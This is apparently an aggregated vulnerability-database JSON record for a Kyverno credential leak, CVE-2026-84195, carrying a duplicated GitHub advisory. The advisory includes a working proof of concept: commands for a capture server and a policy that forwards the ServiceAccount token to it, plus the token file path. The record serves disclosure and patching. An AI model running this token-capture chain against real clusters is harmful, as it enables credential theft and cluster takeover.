{"id":"CVE-2026-84195","aliases":["BIT-kyverno-2026-84195","EUVD-2026-69032","GHSA-4x34-82r8-65cf","GHSA-8wfp-579w-6r25","GO-2026-5268"],"status":"published","title":"Kyverno before 1.16.4 Credential Leak via apiCall","description":"Kyverno before 1.16.4 automatically attaches the admission controller's ServiceAccount token to outbound HTTP requests in apiCall service mode without explicit authorization headers. Attackers can exfiltrate the token by directing apiCall requests to external or attacker-controlled endpoints, gaining full control over Kyverno policies and cluster resources.","severity":{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00386,"percentile":0.3312,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-200","CWE-522"],"published":"2026-04-16T21:37:29Z","modified":"2026-10-28T02:30:23Z","fixes":[{"ecosystem":"Go","package":"github.com/kyverno/kyverno","fixed_in":["1.17.0"],"sources":["ghsa","osv"]},{"ecosystem":"Bitnami","package":"kyverno","fixed_in":["1.16.4"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/kyverno/kyverno","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.17.0"}]}]},{"source":"osv","ecosystem":"Bitnami","package":"kyverno","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.16.4"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/kyverno/kyverno","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.17.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/kyverno/kyverno","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.17.0"}]}]}],"products":[{"vendor":"kyverno","product":"kyverno"}],"references":[{"url":"https://github.com/kyverno/kyverno/security/advisories/GHSA-8wfp-579w-6r25","tags":["vendor-advisory","exploit","web","advisory"]},{"url":"https://www.vulncheck.com/advisories/kyverno-before-1.16.4-credential-leak-via-apicall","tags":["third-party-advisory","web","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84195","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-4x34-82r8-65cf"},{"url":"https://github.com/advisories/GHSA-8wfp-579w-6r25"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/84xxx/CVE-2026-84195.json","tags":["advisory"]},{"url":"https://github.com/kyverno/kyverno","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-84195","title":"Kyverno before 1.16.4 Credential Leak via apiCall","description":"Kyverno before 1.16.4 automatically attaches the admission controller's ServiceAccount token to outbound HTTP requests in apiCall service mode without explicit authorization headers. Attackers can exfiltrate the token by directing apiCall requests to external or attacker-controlled endpoints, gaining full control over Kyverno policies and cluster resources.","status":"published","published":"2026-09-01T11:33:58.484Z","modified":"2026-09-01T12:11:37.233Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:20:08.734143Z"}],"euvd":[{"id":"EUVD-2026-69032","description":"Kyverno before 1.16.4 automatically attaches the admission controller's ServiceAccount token to outbound HTTP requests in apiCall service mode without explicit authorization headers. Attackers can exfiltrate the token by directing apiCall requests to external or attacker-controlled endpoints, gaining full control over Kyverno policies and cluster resources.","status":"published","published":"2026-09-01T11:33:58Z","modified":"2026-09-01T12:11:37Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:01:18.76029Z"}],"ghsa":[{"id":"GHSA-4x34-82r8-65cf","title":"Kyverno before 1.16.4 automatically attaches the admission controller's ServiceAccount token to...","description":"Kyverno before 1.16.4 automatically attaches the admission controller's ServiceAccount token to outbound HTTP requests in apiCall service mode without explicit authorization headers. Attackers can exfiltrate the token by directing apiCall requests to external or attacker-controlled endpoints, gaining full control over Kyverno policies and cluster resources.","status":"published","published":"2026-09-01T12:31:51Z","modified":"2026-09-01T12:31:56Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:11:12.60039Z"},{"id":"GHSA-8wfp-579w-6r25","title":"Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)","description":"### Summary\nKyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.\n\nThe behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.\n\n---\n\n### Details\n\nKyverno's apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from:\n\n`/var/run/secrets/kubernetes.io/serviceaccount/token`\n\nand injects it into every HTTP request as:\n\n```\nAuthorization: Bearer \u003ctoken\u003e\n```\n\nThis occurs when no explicit `Authorization` header is defined in the policy.\n\n#### Root cause\n\n```go\nif req.Header.Get(\"Authorization\") == \"\" {\n    token := a.getToken()\n    if token != \"\" {\n        req.Header.Add(\"Authorization\", \"Bearer \"+token)\n    }\n}\n```\n\nThis logic introduces several issues:\n\n- **Implicit credential forwarding** to arbitrary endpoints\n- **No trust boundary validation** (external/internal distinction)\n- **Undocumented behavior**\n- **Header.Add instead of Set** allows duplication\n- **No token sanitization** (potential trailing newline)\n\n---\n\n### PoC\n\n#### Preconditions\n\n- Kyverno installed (v1.17.1 tested)\n- A policy using `apiCall.service.url`\n\n---\n\n#### Step 1 — Deploy capture server\n\n```bash\nkubectl run capture --image=python:3-slim --restart=Never -- \\\npython3 -c \"\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n  print(self.headers.get('Authorization'), flush=True)\n  self.send_response(200)\n  self.end_headers()\nhttp.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()\"\nkubectl expose pod capture --port=8888\n```\n\n---\n\n#### Step 2 — Create policy\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: token-leak\nspec:\n  rules:\n  - name: test\n    match:\n      any:\n      - resources:\n          kinds: [\"Pod\"]\n    context:\n    - name: r\n      apiCall:\n        method: GET\n        service:\n          url: \"http://capture.default.svc:8888\"\n        jmesPath: \"@\"\n```\n\n---\n\n#### Step 3 — Trigger\n\n```bash\nkubectl run test --image=nginx\n```\n\n---\n\n#### Step 4 — Observe token\n\n```bash\nkubectl logs capture\n```\n\nOutput:\n\n```\nAuthorization: Bearer \u003cSA_TOKEN\u003e\n```\n\n---\n\n### Impact\n\n#### Vulnerability class\n- Credential exposure / leakage\n\n#### Impact details\n\n- Exposure of Kubernetes ServiceAccount token\n- Token grants:\n  - Full control over Kyverno policies\n  - Ability to create/delete webhooks\n  - Read cluster-wide resources\n  - Privilege escalation and persistence","status":"published","published":"2026-04-16T21:37:29Z","modified":"2026-04-16T21:37:31Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-200","CWE-522"],"updated_at":"2026-11-02T14:39:55.105822Z"}],"nvd":[{"id":"CVE-2026-84195","description":"Kyverno before 1.16.4 automatically attaches the admission controller's ServiceAccount token to outbound HTTP requests in apiCall service mode without explicit authorization headers. Attackers can exfiltrate the token by directing apiCall requests to external or attacker-controlled endpoints, gaining full control over Kyverno policies and cluster resources.","status":"published","published":"2026-09-01T12:17:49.13Z","modified":"2026-09-10T15:43:03.76Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:12:43.04945Z"}],"osv":[{"id":"CVE-2026-84195","title":"Kyverno before 1.16.4 Credential Leak via apiCall","description":"Kyverno before 1.16.4 automatically attaches the admission controller's ServiceAccount token to outbound HTTP requests in apiCall service mode without explicit authorization headers. Attackers can exfiltrate the token by directing apiCall requests to external or attacker-controlled endpoints, gaining full control over Kyverno policies and cluster resources.","status":"published","published":"2026-09-01T11:33:58.484Z","modified":"2026-10-28T02:30:23.411704018Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:45:18.482949Z"},{"id":"GHSA-8wfp-579w-6r25","title":"Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)","description":"### Summary\nKyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.\n\nThe behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.\n\n---\n\n### Details\n\nKyverno's apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from:\n\n`/var/run/secrets/kubernetes.io/serviceaccount/token`\n\nand injects it into every HTTP request as:\n\n```\nAuthorization: Bearer \u003ctoken\u003e\n```\n\nThis occurs when no explicit `Authorization` header is defined in the policy.\n\n#### Root cause\n\n```go\nif req.Header.Get(\"Authorization\") == \"\" {\n    token := a.getToken()\n    if token != \"\" {\n        req.Header.Add(\"Authorization\", \"Bearer \"+token)\n    }\n}\n```\n\nThis logic introduces several issues:\n\n- **Implicit credential forwarding** to arbitrary endpoints\n- **No trust boundary validation** (external/internal distinction)\n- **Undocumented behavior**\n- **Header.Add instead of Set** allows duplication\n- **No token sanitization** (potential trailing newline)\n\n---\n\n### PoC\n\n#### Preconditions\n\n- Kyverno installed (v1.17.1 tested)\n- A policy using `apiCall.service.url`\n\n---\n\n#### Step 1 — Deploy capture server\n\n```bash\nkubectl run capture --image=python:3-slim --restart=Never -- \\\npython3 -c \"\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n  print(self.headers.get('Authorization'), flush=True)\n  self.send_response(200)\n  self.end_headers()\nhttp.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()\"\nkubectl expose pod capture --port=8888\n```\n\n---\n\n#### Step 2 — Create policy\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: token-leak\nspec:\n  rules:\n  - name: test\n    match:\n      any:\n      - resources:\n          kinds: [\"Pod\"]\n    context:\n    - name: r\n      apiCall:\n        method: GET\n        service:\n          url: \"http://capture.default.svc:8888\"\n        jmesPath: \"@\"\n```\n\n---\n\n#### Step 3 — Trigger\n\n```bash\nkubectl run test --image=nginx\n```\n\n---\n\n#### Step 4 — Observe token\n\n```bash\nkubectl logs capture\n```\n\nOutput:\n\n```\nAuthorization: Bearer \u003cSA_TOKEN\u003e\n```\n\n---\n\n### Impact\n\n#### Vulnerability class\n- Credential exposure / leakage\n\n#### Impact details\n\n- Exposure of Kubernetes ServiceAccount token\n- Token grants:\n  - Full control over Kyverno policies\n  - Ability to create/delete webhooks\n  - Read cluster-wide resources\n  - Privilege escalation and persistence","status":"published","published":"2026-04-16T21:37:29Z","modified":"2026-09-25T14:25:37.213145521Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-200","CWE-522"],"updated_at":"2026-11-02T15:46:42.78452Z"},{"id":"BIT-kyverno-2026-84195","title":"Kyverno before 1.16.4 Credential Leak via apiCall","description":"Kyverno before 1.16.4 automatically attaches the admission controller's ServiceAccount token to outbound HTTP requests in apiCall service mode without explicit authorization headers. Attackers can exfiltrate the token by directing apiCall requests to external or attacker-controlled endpoints, gaining full control over Kyverno policies and cluster resources.","status":"published","published":"2026-09-25T12:23:40.057Z","modified":"2026-09-25T14:25:37.213145521Z","updated_at":"2026-11-02T15:28:32.162822Z"},{"id":"GO-2026-5268","title":"Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak) in github.com/kyverno/kyverno","description":"Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak) in github.com/kyverno/kyverno","status":"published","published":"2026-06-25T18:43:15Z","modified":"2026-09-25T14:25:37.213145521Z","updated_at":"2026-11-02T15:47:02.556545Z"}]}}